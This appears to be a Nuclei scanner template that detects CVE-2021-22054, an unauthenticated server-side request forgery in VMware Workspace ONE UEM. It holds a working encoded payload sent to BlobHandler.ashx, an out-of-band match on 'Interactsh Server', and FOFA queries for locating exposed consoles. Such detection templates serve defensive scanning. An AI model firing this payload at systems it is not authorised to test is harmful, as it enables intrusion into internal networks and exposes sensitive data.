VMWare Workspace ONE UEM - Server-Side Request Forgery

id: CVE-2021-22054

info:
  name: VMWare Workspace ONE UEM - Server-Side Request Forgery
  author: h1ei1
  severity: high
  description: VMware Workspace ONE UEM console 20.0.8 prior to 20.0.8.37, 20.11.0 prior to 20.11.0.40, 21.2.0 prior to 21.2.0.27, and 21.5.0 prior to 21.5.0.37 contain a server-side request forgery vulnerability. This issue may allow a malicious actor with network access to UEM to send their requests without authentication and to gain access to sensitive information.
  impact: |
    An attacker can exploit this vulnerability to send crafted requests to internal resources, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Apply the necessary patches or updates provided by VMWare to fix the vulnerability.
  reference:
    - https://blog.assetnote.io/2022/04/27/vmware-workspace-one-uem-ssrf/
    - https://www.vmware.com/security/advisories/VMSA-2021-0029.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-22054
    - https://github.com/fardeen-ahmed/Bug-bounty-Writeups
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-22054
    cwe-id: CWE-918
    epss-score: 0.7582
    epss-percentile: 0.98174
    cpe: cpe:2.3:a:vmware:workspace_one_uem_console:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: vmware
    product: workspace_one_uem_console
    fofa-query:
      - banner="/AirWatch/default.aspx" || header="/AirWatch/default.aspx"
      - banner="/airwatch/default.aspx" || header="/airwatch/default.aspx"
  tags: cve2021,cve,vmware,workspace,ssrf

http:
  - method: GET
    path:
      - "{{BaseURL}}/Catalog/BlobHandler.ashx?Url=YQB3AGUAdgAyADoAawB2ADAAOgB4AGwAawBiAEoAbwB5AGMAVwB0AFEAMwB6ADMAbABLADoARQBKAGYAYgBHAE4ATgBDADUARQBBAG0AZQBZAE4AUwBiAFoAVgBZAHYAZwBEAHYAdQBKAFgATQArAFUATQBkAGcAZAByAGMAMgByAEUAQwByAGIAcgBmAFQAVgB3AD0A"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Interactsh Server"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100c43a79642e72d76bd2efe42d79edb11b6c2e0a78c5da0a9bc0339ac128eaed73022100800f9b175350a06a26ee591dc434e652b903b05601054916d5cfd00f99928a89:922c64590222798bb761d5b6d8e72950